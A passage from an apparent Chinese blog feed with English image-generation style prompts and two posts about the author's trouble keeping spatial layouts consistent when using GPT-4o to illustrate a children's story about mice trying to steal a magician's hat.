<pre><code>sci-fi style portrait based on the person in the attached photo, futuristic cybernetic enhancements, glowing accents and high-tech armor details, sleek and metallic texture on the skin, intense glowing eyes with digital effects, sharp features and sleek hairstyle, dynamic lighting with neon highlights, digital implants and holographic elements, high-tech fashion outfit with holographic elements, sci-fi background with futuristic cityscape and glowing tech, cutting-edge digital art style with a powerful and energetic vibe

</code></pre>
<h3>复古风格</h3>
<p><strong>一句话特征：</strong> 复古风格通过模拟历史时期的摄影或绘画技术，呈现怀旧氛围，常有褪色、颗粒感、柔和对比度等处理，色调偏向棕黄或冷蓝调，展现出历史感和时间痕迹，能唤起对特定年代的情感记忆。
<strong>关键提示词：</strong> <code>vintage portrait, retro style, film grain</code><strong>适用主题：</strong>  人物肖像、家庭照、婚礼场景、城市风光、老式物件、特定历史年代场景</p>
<p><img src="/api/images/image/2026/10/4fdf15262ecb4bd0-sunnyyang-.png" alt="SunnyYang复古风.png"></p>
<pre><code>vintage style portrait based on the person in the attached photo, soft sepia or muted color tones, classic 1920s or 1930s aesthetic, vintage fashion with elegant details, smooth lighting with soft shadows, retro hairstyle and accessories, delicate facial features with timeless expression, grainy texture for a nostalgic feel, artistic composition with a subtle background, inspired by classic film portraits or old-fashioned photography

</code></pre>
<h2>三、真实摄影类</h2>
<h3>纪实风格</h3>
<p><strong>一句话特征：</strong> 纪实风格摄影以客观真实记录为核心，使用自然光线和真实环境，不刻意摆拍，捕捉真实情境和自然表情，画面常带有新闻性和故事性，通过细节表达社会人文关怀或记录历史瞬间。
<strong>关键提示词：</strong> <code>documentary photo, natural light, photojournalism</code><strong>适用主题：</strong>  社会风景、人物活动、历史事件、自然景观、城市生活、传统文化、民俗活动</p>
<p><img src="/api/images/image/2026/10/f1cb09b814ead37a--.png" alt="长城纪实.png"></p>
<pre><code>documentary photography style of the Great Wall at Badaling in April, vibrant springtime atmosphere, natural daylight casting soft shadows on the ancient stone walls, rugged and weathered textures, panoramic view of the long wall winding over the lush green mountains, visitors walking along the path, blossoming trees and flowers in the background, clear blue sky and bright sunshine, historical atmosphere with untouched details, realistic portrayal of the landscape, wide-angle shot capturing the scale and depth with a lively, energetic vibe

</code></pre>
<p><img src="/api/images/image/2026/10/70ceaec7c1cf54b6--.png" alt="张家界森林公园.png"></p>
<pre><code>documentary-style realistic photography of the iconic "Heavenly Pillar" (Qiankun Pillar) in Zhangjiajie National Forest Park, China, during a bright and vibrant spring day in April. The towering sandstone pillar rises dramatically from the verdant forest below, surrounded by steep cliffs and vertical karst spires covered in lush greenery. The scene is full of vitality, with fresh green foliage, blooming shrubs, and a clear sense of seasonal renewal.

Captured from a natural viewpoint with no visible tourists or man-made elements, the lighting is bright and warm, typical of a sunny April morning. Sunlight pours through scattered clouds, illuminating the rocky textures and casting soft, natural shadows on the surrounding forest. The atmosphere is fresh and lively, with blue skies, white clouds, and crisp mountain air subtly implied. The overall composition reflects a majestic, untouched wilderness at the height of spring's awakening.

</code></pre>
<h3>微距摄影</h3>
<p><strong>一句话特征：</strong> 微距摄影风格展现细微物体的放大细节，焦点极其精准，景深通常很浅，背景柔和虚化，突出主体纹理、形态和色彩，常用于展示肉眼难以察觉的精细结构和微观世界的奇妙之处。
<strong>关键提示词：</strong> <code>macro photography, close-up shot, detailed texture</code><strong>适用主题：</strong>   花卉细节、昆虫特写、水滴、质地纹理、微小物体、产品细节、食物质感</p>
<p><img src="/api/images/image/2026/10/a9a8df713117d2e1--.png" alt="向日葵与蜜蜂.png"></p>
<pre><code>realistic macro photography style, a honeybee landing gently on the center of a blooming sunflower, with fine morning dew droplets visible on the golden petals and central disk. The bee’s fuzzy body, translucent wings, and tiny legs are captured

</code></pre>
<h3>电影风格</h3>
<p><strong>一句话特征：</strong> 电影风格摄影追求电影般的视觉美学，具有宽银幕比例、戏剧性的光影对比、精心设计的构图和色彩处理，常有景深控制和特殊氛围营造，给人以叙事感和情感共鸣，仿佛电影静帧。
<strong>关键提示词：</strong> <code>cinematic lighting, film still, movie scene</code><strong>适用主题：</strong>  城市景观、室内外人物场景、戏剧性瞬间、情感故事、建筑空间、自然风光、人物互动</p>
<p><img src="/api/images/image/2026/10/04cfec6cd8a5bf38--.png" alt="雷峰夕照.png"></p>
<pre><code>cinematic photography style of Leifeng Pagoda at West Lake during sunset, golden hour light casting a warm glow on the ancient pagoda, dramatic long shadows and soft lighting on the surrounding landscape, reflections of the pagoda on the calm water of West Lake, vibrant orange and pink sky with scattered clouds, atmospheric lighting with a sense of nostalgia and tranquility, vintage color grading with warm tones and rich contrast, cinematic mood evoking a peaceful yet majestic feeling, wide-angle shot capturing the beauty of the pagoda, lake, and sunset sky

</code></pre>
<h3>航拍视角风格</h3>
<p><strong>一句话特征：</strong> 航拍视角风格从高空俯视角度展现场景，呈现出平时难以看到的宏观格局和图案，能够展示地形地貌、建筑群落或自然景观的全貌和空间关系，常有壮观的视觉冲击和透视感。
<strong>关键提示词：</strong> <code>aerial photography, drone shot, bird's eye view</code><strong>适用主题：</strong>  自然地貌、城市全景、农田格局、海岸线、交通网络、建筑群、大型活动场景</p>
<p><img src="/api/images/image/2026/10/a4902e2775ce571a--.png" alt="珠穆朗玛峰航拍.png"></p>
<pre><code>aerial photography style of Mount Everest, dramatic high-altitude view of the towering peak covered in snow and ice, surrounding rugged mountain range, deep crevices and glaciers visible from above, vast expanse of the Himalayan range in the background, clear blue sky with wispy clouds, stark contrast between the icy white summit and the rocky slopes, sharp light and shadow details on the mountain face, high-definition capture of the majestic and awe-inspiring landscape, powerful and vast, showcasing the enormity and isolation of the world's highest peak

</code></pre>
<h3>街头摄影风格</h3>
<p><strong>一句话特征：</strong>  街头摄影风格捕捉城市公共空间中的自然、非摆拍瞬间，注重人文情怀与日常生活细节，常有抓拍感和随意构图，能够真实记录社会百态、人物表情和城市氛围，展现生活原貌。
<strong>关键提示词：</strong> <code>street photography, urban candid</code><strong>适用主题：</strong>   城市日常、街道场景、人物互动、市场小店、公共交通、城市文化、社会生活</p>
<p><img src="/api/images/image/2026/10/da4172b218adb6c6--.png" alt="老街道.png"></p>
<pre><code>street photography style in a traditional Chinese old town, stone-paved alley lined with classic noodle shops serving rice noodles, red lanterns hanging overhead, weathered wooden and brick buildings with faded signage, a few small taverns and local vendors as subtle background elements, people sitting or chatting outside, bowls of steaming noodles on small outdoor tables, warm natural daylight casting soft shadows, candid human interactions and relaxed everyday atmosphere, rich in texture and storytelling, documentary-style composition capturing authentic street life in an ancient town

</code></pre>
<h3>室内摄影风格</h3>
<p><strong>一句话特征：</strong> 室内摄影风格专注于展现空间的氛围、功能和设计特点，精心控制光线以营造特定情绪，常用广角镜头捕捉空间感，注重细节与构图平衡，展示室内环境的美感、功能与生活状态。
<strong>关键提示词：</strong> <code>interior scene, soft lighting, architectural photography</code><strong>适用主题：</strong>  家居空间、办公环境、商业场所、建筑内部、酒店客房、艺术展览、工作空间</p>
<p><img src="/api/images/image/2026/10/610f8d7deae6671c--.png" alt="工作台.png"></p>
<pre><code>Realistic interior photography style, simple and modern home office space, beige leather texture desktop. In the center of the desktop is an open MacBook Air, placed on a gray desk mat, with a table-like simplified Chinese web page displayed on the screen. Behind the laptop are two 27-inch 4K Philips flat-panel monitors with ultra-thin bezels and minimalist white metal stands - the left monitor is placed vertically and closed, and the right horizontal monitor displays a web page with four travel thumbnails: Leifeng Pagoda at sunset, Zhangjiajie Sandstone Pillars, the main peak of Mount Everest, and the Great Wall of China.

Between the two monitors is a white desk lamp with adjustable height. On the left side of the table are an iPhone 14 mobile phone, a gray fabric zipper storage bag, a black mobile phone stand, and a blue jointed robot building block model. On the right side of the desk are a framed child's photo, a retro flip clock with "15:32" written on it, a yellow and white tissue box with part of the tissue pulled out, and a decorative bunch of dry wheat straw and red flowers in the corner behind.

Soft sunlight pours in from the curtained window on the left, casting realistic diffuse shadows on the table. All cables are neatly arranged. This photo uses a highly realistic documentary style interior photography composition, with careful consideration of light, materials, screen content, and spatial arrangement of objects.

</code></pre>
<h2>下一篇预告</h2>
<p>这篇文章梳理了 3个大类下的21个风格，并为每种风格提供了<code>一句话特征说明 + 关键提示词 + 适用主题 + 参考图 + 英文提示词</code>，可以说是实战派 AI 插画师的风格速查宝典。</p>
<p>在下一篇中，我会继续分享其余4大类下的22个风格：幻想类、场景与建筑风格、设计类风格、其他创意风格。</p>
<p>不论你是想精准选图，还是提升自己的提示词撰写水平，都可以从中获得极大帮助。建议收藏备用，灵感卡壳或选风格困难时，回来看一眼就能“破局”。</p>
<p>如果本文对你有所帮助，请顺手点个赞、转发给身边的设计师朋友！</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Fri, 02 May 2025 14:56:43 GMT</pubDate>
    </item>
    <item>
      <title>从惊喜到崩溃：我用GPT-4o创作插画的一天</title>
      <link>https://yangxinmin.com/gpt4o-illustration-day</link>
      <guid isPermaLink="true">https://yangxinmin.com/gpt4o-illustration-day</guid>
      <description>关注公众号可免费领取“清华北大教授分享的DeepSeek学习资料包”。 近期，我给家里小朋友准备学校故事比赛的PPT时，顺手测试了一下GPT-4o的文生图能力，结果嘛...让我又爱又恨（插画效果见文末）。 作为一个技术出身的老司机，今天就跟你分享一下我的&quot;踩坑&quot;历程和技术解析，希望能给你在实际项目中</description>
      <content:encoded><![CDATA[<p>关注公众号可免费领取“清华北大教授分享的DeepSeek学习资料包”。</p>
<p>近期，我给家里小朋友准备学校故事比赛的PPT时，顺手测试了一下GPT-4o的文生图能力，结果嘛...让我又爱又恨（插画效果见文末）。</p>
<p>作为一个技术出身的老司机，今天就跟你分享一下我的"踩坑"历程和技术解析，希望能给你在实际项目中带来一些参考价值。</p>
<h2>整体评价</h2>
<p>先说结论：<strong>GPT-4o的文生图能力，单图创作没问题，连续场景勉强及格，空间理解能力令人失望，以图生图时常出现"顾此失彼"的情况。</strong></p>
<p>实际测试中，GPT-4o对"空间位置词 + 复杂布局 + 特定透视角度"这类组合需求的处理存在明显天花板。</p>
<p>我的任务很简单：为《神奇的帽子》制作6个场景插画。这个故事讲述四只小老鼠尝试偷取魔术师帽子的冒险经历，是个教育孩子不能偷盗的简单故事。听起来很容易对吧？但实际过程可不像预期那么顺利。</p>
<h2>从技术角度看本质</h2>
<p>为什么GPT-4o在文生图方面会这样表现？我认为主要是token限制（即将提示词拆分为小单元的处理方式）和多模态模型权重分配（模型决定关注哪些信息）的问题。</p>
<p>跟GPT-4o对话后，了解到它处理图像生成的简化流程是这样的：</p>
<ol>
<li>将提示词分解为token向量；</li>
<li>当tokens过多时，模型会自动分配注意力权重；
优先级排序，只保留高权重元素，低权重的细节可能被丢弃；</li>
<li>将处理后的tokens传入扩散模型生成图像。</li>
</ol>
<p>这导致了一个核心问题：<strong>当你的提示词太长太复杂时，模型会偏向于保留它认为"重要"的信息</strong>，而把一些空间位置关系、细节描述等"次要信息"丢弃。</p>
<h2>实战经历</h2>
<h3>前期准备工作</h3>
<p>在开始生成图片前，为了让GPT4o充分理解我的需求，创作出风格统一、镜头连贯的插画，我做了充分的准备工作：</p>
<ol>
<li>故事全文；</li>
<li>将故事拆分为6个关键镜头；
镜头1～6分别是：魔术师展示、耗子窥视、耗子们讨论、大耗子行动、喷嚏与逃跑。</li>
<li>统一角色造型和视觉风格；</li>
<li>设计详细的场景布局描述；</li>
<li>为每个场景创建结构化提示词；</li>
<li>创建GPT-4o专用项目，并将必要文件上传到项目文件中，保持上下文连贯性；</li>
<li>与GPT-4o聊天，考验它是否理解了我的需求。</li>
</ol>
<p>故事全文：</p>
<pre><code>魔术团里有一位老爷爷，老爷爷有一顶奇怪的帽子，只要吹口气里面就会变出好多好吃的东西来，有糖果、蛋糕还有苹果。

“哎，要是把这顶帽子偷来该多好啊！”，这话是谁说的，是几只耗子说的。
晚上，它们悄悄的来到了老爷爷的家里。老爷爷呢，正睡觉呢！帽子没有放在柜子里，也没有放在箱子里，那在哪里呢？正盖在老爷爷的脸上。

大耗子挤挤小眼说：“咳咳，我看呀，叫小耗子去偷最合适了”。
小耗子一听：“啊......我不去，我不去，太吓人了！那个帽子里面呀藏着一个呼噜，地板、窗户都会动，我不去”。
大耗子又叫黑耗子去偷，黑耗子不敢，叫灰耗子偷，灰耗子也不敢，反正不管叫谁去偷，谁都说不敢。
大耗子生气了，摸摸长胡子说：“嗯，好了，好了，你们这群胆小鬼，你们不去，我去”。

话是这么说，其实大耗子心里也挺害怕，它轻轻的一跳，跳到了床上，爬到了老爷爷的枕头旁边，用尖鼻子闻了闻那顶帽子，好香啊好香啊，有蛋糕味儿，还有糖果味，大耗子把尾巴伸到帽子底下去，小尾巴把帽子顶起来，咦，这是怎么了？尾巴伸到一个小窟窿里去了。哎呀，什么小窟窿，那是老爷爷的鼻孔啊。

“阿阿……嚏”，老爷爷打了一个大大的喷嚏，吓得大耗子连滚带爬地说：“哎哟哟…，不好了，不好了，这帽子里啊还藏着一个阿嚏，这个阿嚏可比那个呼噜厉害多了，要不是我跑得快呀，我差点给炸死了”。

小朋友们，这个故事告诉我们，不管我们多么想要一样东西，偷别人的东西是不对的。我们要用勤劳的双手，去换取真正属于自己的东西！

</code></pre>
<p>背景示例：</p>
<pre><code>你是一个专业的插画设计师，用中文回答我的问题。

</code></pre>
<p>全局视觉风格示例：</p>
<pre><code>高质量3D卡通渲染，一致的皮克斯风格，16:9宽屏比例，高分辨率，统一角色设计，温暖色调，精细质感，--ar 16:9 --s 1024 --stylize 100

</code></pre>
<p>角色统一描述示例：</p>
<pre><code>老爷爷：慈祥白发老人，Q版大头小身体比例，标志性夸张白色八字胡，眯成月牙形的眼睛，红润脸颊，圆形金边眼镜，身穿深蓝色星星图案长袍
魔术帽：黑色圆顶高筒魔术帽（非尖顶），金色装饰带
耗子描述：
    大耗子：灰褐色，戴翠绿领结，长胡须，细腻毛发，《疯狂动物城》风格
    小耗子：浅粉色，大眼睛，圆耳朵，细腻毛发，《疯狂动物城》风格
    黑耗子：圆滚滚黑色身体，红鼻子，短胖尾巴，细腻毛发，《疯狂动物城》风格
    灰耗子：细长灰色身体，戴褪色绿色小帽子，细腻毛发，《疯狂动物城》风格

</code></pre>
<h3>遇到的主要问题</h3>
<h3>1. 空间一致性崩溃</h3>
<p>最让我头疼的是卧室场景的空间一致性问题，因为镜头3～6都在魔术师老爷爷卧室。即使给出了详细的房间布局描述，GPT-4o在多图生成时仍无法保持空间关系一致：</p>
<pre><code>房间布局要求：
- 床铺位于房间中央偏南，床头朝南靠墙
- 东墙(即床左侧)有一扇中等大小窗户
- 东南角（即床左侧）放置木质床头柜，上面有台灯
- 西北角摆放小圆桌和木椅
- 东北角靠墙有深色木质衣柜

</code></pre>
<p>尽管提供了如此详细的描述，每张图中的床位置、窗户方向、家具摆放总是各不相同。我后来发现，GPT-4o对"东北角"、"左前方"这类空间方位词的理解相当有限。</p>
<p>为了解决这个问题，我甚至手绘了一张草图并标注了方位：</p>
<p>[草图占位]</p>
<p>但令我失望的是，这个方法效果也不理想。</p>
<h3>2. 令人抓狂的优先级问题</h3>
<p>通过分析失败效果，我发现当提示词太复杂时，GPT-4o会按照自己的理解决定哪些信息更重要：</p>
<pre><code>提示词: "老爷爷卧室，床铺位于中央靠南，左侧有窗户和台灯，左前方有衣柜，4只耗子正在讨论..."

GPT-4o理解优先级:
1. ✅ 老爷爷在床上 (核心角色)
2. ✅ 4只耗子 (核心角色)
3. ✅ 床在画面中 (主要场景元素)
4. ✅ 台灯亮着 (视觉亮点元素)
5. ❌ 窗户位于左侧 (空间关系被忽略)
6. ❌ 衣柜在左前方 (方位词被丢弃)

</code></pre>
<p>这导致每次生成时，空间布局都是"随机"的，根本无法保持一致性。</p>
<h2>实用技巧</h2>
<p>经过多次尝试，我总结出几点使用GPT-4o文生图的实用技巧：</p>
<h3>1. 分段提示与权重标记</h3>
<p>将提示词分为不同优先级，并使用特殊标记表示重点。例如，对于卧室布局，可以这样写：</p>
<pre><code># 创建带权重的提示词
# 高优先级内容(必须遵循)
[必须] 高质量3D卡通渲染，皮克斯风格，16:9宽屏比例
[必须] 老爷爷：白发，白八字胡，蓝色星星图案长袍
[必须] 床位置：画面中央，床头靠近画面底部

# 中优先级内容(尽量遵循)
[重要] 窗户：位于床的左侧，有淡蓝色窗帘
[重要] 床头柜：在床的左侧，上有暖黄色台灯

# 低优先级内容(能遵循最好)
[参考] 衣柜：位于左上角
[参考] 小圆桌：位于右上角

</code></pre>
<h3>2. 使用坐标系而非方位词</h3>
<p>用画面上的平面坐标位置替代东南西北方位词：</p>
<pre><code># 不要用这种方式
"床的东北角放置衣柜"

# 改用这种方式
"画面左下角放置衣柜"

</code></pre>
<h3>3. 以图生图+定向修改</h3>
<p>目前GPT-4o的以图生图（Image-to-Image）功能，虽然可以一定程度改善局部，但无法像专业ControlNet或Inpaint模型（如ComfyUI、Automatic1111）那样精准控制细节，修改仍有随机性。
建议利用以图生图功能进行增量修改，并明确指出需要保留的元素，比如：</p>
<pre><code>保持不变: 风格、角色、分辩率、图片比例；
修改: 窗户移到床的画面左侧中间，添加木质衣柜在画面左下角；
结合以上提示生成新图像。

</code></pre>
<blockquote>
<p>ControlNet：保持空间、动作、布局一致性，超强控制力。
Inpaint：精准修改，细节补画，不破坏整体。</p>
</blockquote>
<h3>4. 使用参考图像辅助</h3>
<p>将关键空间布局制作成简单示意图，如我的草图，在帮助GPT4o理解空间关系时是有一定改善效果的。</p>
<h2>成品展示与分析</h2>
<p>经过多轮调整，我最终还是完成了6张插画。妥协后的成品效果如下：</p>
<p><img src="/api/images/image/2026/10/f48a1edbcf4cb6ec-1.png" alt="1.png"></p>
<p>【镜头一：魔术师展示】这张图效果较好，画面中老爷爷站在舞台中央，手持魔术帽，背景是简单的红色幕布。主要因为：场景简单，核心元素少（仅老爷爷和帽子），没有复杂的空间关系要求。</p>
<p><img src="/api/images/image/2026/10/4ed903829eb7ebe3-2.png" alt="2.png"></p>
<p>【镜头二：耗子窥视】 台前幕后，在空间上开始错乱，台上的蒙古包背景与台下观众放在了一起，耗子们的位置和视角有点不对劲。</p>
<p><img src="/api/images/image/2026/10/ae736fba03ac06ad-3.png" alt="3.png"></p>
<p>【镜头三：夜晚卧室】魔术师老爷爷的帽子没有按要求盖住脸，被窝轮廓也是瘪的，注意：床头柜仅有台灯一盏，床尾有护栏。以下的镜头都以镜头三的房间摆设为基础。</p>
<p><img src="/api/images/image/2026/10/20d3dddb1934c2ee-4.png" alt="4.png"></p>
<p>【镜头四：耗子们讨论】床头柜多了个盒子，床尾护栏没了，本来想让镜头三的床尾护栏与之保持统一，后来妥协了，修改后的效果总会顾此失彼。</p>
<p><img src="/api/images/image/2026/10/5c902f089239ce27-5.png" alt="5.png"></p>
<p>【镜头五：大耗子行动】本来想展示大耗子将尾巴误入</p>
<p>魔术师老爷爷鼻孔的，但试了好多稿，包括画线示意尾巴形状、换姿势都没能成功，只好妥协；床头加长了，还多了一个枕头，帽子仍然没有盖住脸。</p>
<p><img src="/api/images/image/2026/10/e09b1ab81dc619d4-6.png" alt="6.png"></p>
<p>【镜头六：喷嚏与逃跑】卧室摆设乱套了，左边本来应该是窗户一角，现在变成了衣柜；床头靠着的墙不应该有窗帘，魔术师老爷爷多了金边眼镜，为了在这个效果上去除眼镜，改了好多稿没能如意，最终妥协。</p>
<p>让我们看看几个失败镜头效果：</p>
<h3>失败案例</h3>
<p><strong>镜头三：夜晚卧室</strong></p>
<p><img src="/api/images/image/2026/10/cc370e57417ab41b-chatgpt_image_2025-4-27-_16_10_45.png" alt="ChatGPT Image 2025年4月27日 16_10_45.png"></p>
<p>以图生图修改中，方位摆设错乱。</p>
<p><img src="/api/images/image/2026/10/1f9def506984a98a-chatgpt_image_2025-4-27-_16_05_44.png" alt="ChatGPT Image 2025年4月27日 16_05_44.png"></p>
<p>以图生图修改中，老爷爷变成袖珍玩偶，图片比例变成1:1。</p>
<p><img src="/api/images/image/2026/10/7e9a03b414c73173-chatgpt_image_2025-4-27-_16_18_33.png" alt="ChatGPT Image 2025年4月27日 16_18_33.png"></p>
<p>窗户变成了半边，老爷爷神色呆滞木讷。</p>
<p><img src="/api/images/image/2026/10/749a065333d33a88-chatgpt_image_2025-4-27-_16_23_00.png" alt="ChatGPT Image 2025年4月27日 16_23_00.png"></p>
<p>以图生图修改中，方位摆设错乱，还能自动加眼罩。</p>
<p><strong>镜头五：大耗子行动</strong></p>
<p>这张图问题较多，原因在于：</p>
<ol>
<li>复杂的空间关系描述(耗子、帽子、老爷爷的相对位置)</li>
<li>特殊的动作要求(尾巴误入鼻孔)</li>
<li>需要保持与多个前序场景的一致性</li>
</ol>
<p><img src="/api/images/image/2026/10/2331cbc26d3bc42a-chatgpt_image_2025-4-27-_16_40_58.png" alt="ChatGPT Image 2025年4月27日 16_40_58.png"></p>
<p>这张光线、对比度、饱和度看起来挺好，原本是要画出尾巴误入老爷爷鼻孔，可惜手变成尾巴。</p>
<p><img src="/api/images/image/2026/10/ab34d7926ec196d1-chatgpt_image_2025-4-27-_16_28_53.png" alt="ChatGPT Image 2025年4月27日 16_28_53.png"></p>
<p>吸星大法：我吸吸吸...哪怕我画一根尾巴示意线或者让大耗子换个背向然后扭头的姿势，也还是万年不变的从嘴巴里长出尾巴。</p>
<p><img src="/api/images/image/2026/10/4ce17e6c7d614d86-chatgpt_image_2025-4-27-_16_41_57.png" alt="ChatGPT Image 2025年4月27日 16_41_57.png"></p>
<p>接着奏乐，接着吸......</p>
<h2>技术深度分析与建议</h2>
<p>从技术实现角度，GPT-4o的文生图能力受限于以下几点：</p>
<ol>
<li><strong>Token限制与注意力机制</strong>：提示词一旦太长，模型没法同时顾及所有细节，只能挑重点；</li>
<li><strong>空间关系建模能力不足</strong>：对方位词、位置关系这种描述理解得还不够深入；</li>
<li><strong>跨图像一致性未优化</strong>：模型没针对连续多张图的连贯性进行专门训练；</li>
<li><strong>缺乏先验知识约束</strong>：比如物理规则、空间合理性这些，目前还没办法很好地自己校正。</li>
</ol>
<blockquote>
<p>跨图像一致性：指多张连续生成的图片中，元素布局、角色位置保持前后一致。</p>
</blockquote>
<p>针对实际应用，我建议：</p>
<ol>
<li>把复杂的需求拆成一个个小任务，逐步完成；</li>
<li>给每个任务写简洁又明确的提示词，不要一次塞太多细节；</li>
<li>每张图都要经过人工审核，必要时多迭代几轮优化；</li>
<li>如果遇到实在搞不定的，可以搭配其他工具辅助处理，如PS。</li>
</ol>
<h2>总结</h2>
<p>GPT-4o的文生图能力虽然不完美，但已经展现了AI在多模态能力上的巨大进步。目前它最适合用于概念验证、快速原型设计和单图生成场景，而不适合需要高度空间一致性和连贯性的复杂项目。</p>
<p>我相信按照“AI一天，人间一年”的节奏，这些问题很快会得到解决。未来的多模态模型可能会通过增强空间关系建模（例如理解‘左前方’‘东北角’）和改进跨图像一致性（保持多图中角色位置统一），甚至实现真正的‘AI导演’能力，自动生成连贯的故事插画。</p>
<p>你在使用GPT-4o或其他模型文生图时遇到了哪些问题或发现了哪些技巧？
欢迎在评论区留言，一起吐槽、交流、分享小技巧吧！</p>
<p>[图片占位]
加入知识星球，我可以为你提供：</p>
<ol>
<li>Web3开发转型一对一咨询</li>
<li>数字货币投资工具使用新手教学</li>
<li>AI创作教学</li>
</ol>
<p>本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Mon, 28 Apr 2025 03:27:59 GMT</pubDate>
    </item>
    <item>
      <title>吐槽一下GPT4o的文生图能力</title>
      <link>https://yangxinmin.com/gpt4o-image-generation-rant</link>
      <guid isPermaLink="true">https://yangxinmin.com/gpt4o-image-generation-rant</guid>
      <description>这两天在完成一个家长任务——给小孩准备幼儿园2025年度亲子故事比赛要用的PPT，而PPT的最终困难落到了配图上，我就顺手测试了一下GPT4o的文生图能力。 我个人对其整体评价是：发散创作单个图片是没有问题的，但想要创作一套连续的保持风格统一、没有逻辑错误的画册就做不到，还需要进化，尤其在空间方向上</description>
      <content:encoded><![CDATA[<p>这两天在完成一个家长任务——给小孩准备幼儿园2025年度亲子故事比赛要用的PPT，而PPT的最终困难落到了配图上，我就顺手测试了一下GPT4o的文生图能力。</p>
<p>我个人对其整体评价是：发散创作单个图片是没有问题的，但想要创作一套连续的保持风格统一、没有逻辑错误的画册就做不到，还需要进化，尤其在空间方向上的理解能力有限，在以图修图时，会丢三落四，最终落下一个失望的结果。究其原因是在生图时，产生的token数量过多，GPT4o会在提示词上分出主次，有所取舍。</p>
<h2>故事全文</h2>
<p>我给小朋友选了《神奇的帽子》的故事，讲的是四只耗子去偷魔术帽的故事，主打简短好背，教育小孩不能偷盗。</p>
<pre><code>《神奇的帽子》

魔术团里有一位老爷爷，老爷爷有一顶奇怪的帽子，只要吹口气里面就会变出好多好吃的东西来，有糖果、蛋糕还有苹果。

“哎，要是把这顶帽子偷来该多好啊！”，这话是谁说的，是几只耗子说的。
晚上，它们悄悄的来到了老爷爷的家里。老爷爷呢，正睡觉呢！帽子没有放在柜子里，也没有放在箱子里，那在哪里呢？正盖在老爷爷的脸上。
 
大耗子挤挤小眼说：“咳咳，我看呀，叫小耗子去偷最合适了”。
小耗子一听：“啊......我不去，我不去，太吓人了！那个帽子里面呀藏着一个呼噜，地板、窗户都会动，我不去”。
大耗子又叫黑耗子去偷，黑耗子不敢，叫灰耗子偷，灰耗子也不敢，反正不管叫谁去偷，谁都说不敢。
大耗子生气了，摸摸长胡子说：“嗯，好了，好了，你们这群胆小鬼，你们不去，我去”。

话是这么说，其实大耗子心里也挺害怕，它轻轻的一跳，跳到了床上，爬到了老爷爷的枕头旁边，用尖鼻子闻了闻那顶帽子，好香啊好香啊，有蛋糕味儿，还有糖果味，大耗子把尾巴伸到帽子底下去，小尾巴把帽子顶起来，咦，这是怎么了？尾巴伸到一个小窟窿里去了。哎呀，什么小窟窿，那是老爷爷的鼻孔啊。

“阿阿……嚏”，老爷爷打了一个大大的喷嚏，吓得大耗子连滚带爬地说：“哎哟哟…，不好了，不好了，这帽子里啊还藏着一个阿嚏，这个阿嚏可比那个呼噜厉害多了，要不是我跑得快呀，我差点给炸死了”。

小朋友们，这个故事告诉我们，不管我们多么想要一样东西，偷别人的东西是不对的。我们要用勤劳的双手，去换取真正属于自己的东西！
</code></pre>
<p>准备工作和创作过程在下文展开，先看成品。</p>
<h2>成品效果</h2>
<p>以下图片都是GPT4o根据我的AI提示词生成出来，整体风格要求是：</p>
<p>高质量3D卡通渲染，一致的《疯狂动物城》皮克斯风格，16:9宽屏比例，高分辨率，统一角色设计，温暖色调，精细质感。</p>
<p>在角色形象、魔术师的卧室布局都通过统一的项目文件跟GPT4o约定好，聊完觉得它理解了，才开始干活的。</p>
<p>初看，你可能觉得效果还是可以的。聪明如你，细究一下，就会看出挺多问题的，这还是我多次要求其精修、最终妥协出来的效果。</p>
<h3>镜头一【魔术师展示】插画</h3>
<p><img src="/api/images/image/2026/10/f48a1edbcf4cb6ec-1.png" alt="1.png"></p>
<p>**简评：**这张由于没有太多要求，就算通过了。</p>
<h3>镜头二【耗子窥视】插画</h3>
<p><img src="/api/images/image/2026/10/4ed903829eb7ebe3-2.png" alt="2.png"></p>
<p>**简评：**有两点问题，一是魔术帽中的糖果风格没有主动保持一致，二是台上马戏团的蒙古包装饰和台下的观众不应该放在一起作为背景。</p>
<p>当然再次让GPT4o修改也是可以，但第二稿它可能会丢掉让我满意的耗子的形象和表情上的效果，也有可能会把耗子和魔术师放在一起，混乱不清。</p>
<h3>镜头三【夜晚卧室】插画</h3>
<p><img src="/api/images/image/2026/10/ae736fba03ac06ad-3.png" alt="3.png"></p>
<h3>镜头四【耗子们讨论】插画</h3>
<p><img src="/api/images/image/2026/10/20d3dddb1934c2ee-4.png" alt="4.png"></p>
<h3>镜头五【大耗子行动】插画</h3>
<p><img src="/api/images/image/2026/10/5c902f089239ce27-5.png" alt="5.png"></p>
<h3>镜头六【喷嚏与逃跑】插画</h3>
<p><img src="/api/images/image/2026/10/e09b1ab81dc619d4-6.png" alt="6.png"></p>
<p>简评：从镜头三开始，到镜头六的插画，你应该都能看出问题来，房间布局是以镜头三为基准的：</p>
<p>1、镜头三老爷爷的身体在被子里没有轮廓，生成好几次帽子盖不着眼睛；</p>
<p>2、镜头四床头柜多了个盒子、窗户下多了书柜，衣柜却不见了，床尾的护栏也不见了；</p>
<p>3、镜头五老爷爷的枕头后又多了个枕头，原本想要个耗子尾巴误伸到老爷爷的鼻子里，让耗子换了个背对的姿势，试了好多稿也没能成功，或者成功了又丢了其他要素；</p>
<p>4、镜头六老爷爷不应该戴眼镜或眼罩，让它去除眼镜，就又多了眼罩，衣柜处应该是窗户所在位置，床头靠着的墙无中生出了窗帘；</p>
<p>哪怕我在不同镜头之间的提示词都加上：请保持和镜头三中的卧室布局一致，总会顾此失彼，理解不到位，原本我以为半小时就搞定的几张图，弄了两天时间，结果让人失望，好在艺术允许抽象 。</p>
<h2>空间方向</h2>
<p>在第一遍创作完后，我发现哪怕我方位文字描述得再详细（让Claude 3.7出提示词，再让GPT检查修正），一套画下来，在卧室方位和摆设上总有偏差，我就问GPT，我该怎么办？它丢给我：</p>
<p>好吧，那我就来设计一下，我先问Claude，一个健康家居的卧室应该怎么设计？因为卧室的设计还涉及到后续的几个镜头的视角，要给耗子们留出讨论的地盘，还要从各角度取景不至于太昏，我要Claude帮我考虑这些因素，基于Claude的设计，我整理出如下提示词：</p>
<pre><code>老爷爷卧室的布局描述：
   高质量3D卡通渲染，皮克斯风格，温馨复古卧室，45度俯视角展示完整布局。
    房间呈长方形，朝向明确：
    - 床铺位于房间中央偏南，床头朝南靠墙摆放，床身朝北延伸
    - 东墙(即床左侧)开有一扇中等大小的窗户，带有半开的淡蓝色窗帘
